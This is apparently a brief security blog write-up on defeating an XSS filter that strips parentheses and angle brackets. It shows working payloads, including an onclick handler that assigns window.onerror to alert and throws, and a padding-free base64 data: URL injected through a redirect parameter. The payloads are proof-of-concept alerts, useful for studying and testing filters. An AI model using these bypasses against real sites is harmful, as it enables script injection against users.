A trick to bypass an XSS filter and execute JavaScript

I've recently come across an application which had a very simple XSS filter:

Bad chars:

( ) < >

Simple, but annoying. I found a stored XSS vulnerability and I could not get the PoC to go off. The stored value was being returned by the server in an input but the filter was getting in the way.

It would not let me submit the usual payloads:

" on click=alert('xss') x="
"><script>alert('xss')</script>

I found some info about replacing the window onerror handler with the alert and throwing some arbitrary error.

What worked for me was this:

" onclick="javascript:window.onerror=alert;throw 'XSS'" x="

This application also had some arbitrary redirection flaw which allowed me to inject some text via the URL inside the document.location.href property.

I could not escape quotations and execute, as the data was being passed by value form the URL:

// http://app/?url=value
var goto = params["url"];  
document.location.href = goto;  

So I had to get creative:

// http://app/?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
var goto = params["url"];  
document.location.href = goto;  

Which translated to:

// atob('PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=')
// "<script>alert("xss")</script>"

document.location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4='  

This should work, but it didn't. Chrome was trying to navigate to:

data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4  

Notice the missing base64 padding '='? This application populated the params variable using a split on '=' to get key/value pairs.

To get around this I had to modify my code just enough to not need padding after base64 encoding:

btoa('<script>alert("xss")</script>')  
"PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="
btoa('<script>alert("xss")</script>1')  
"PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4x"

and Chrome was happy to popup my alert box!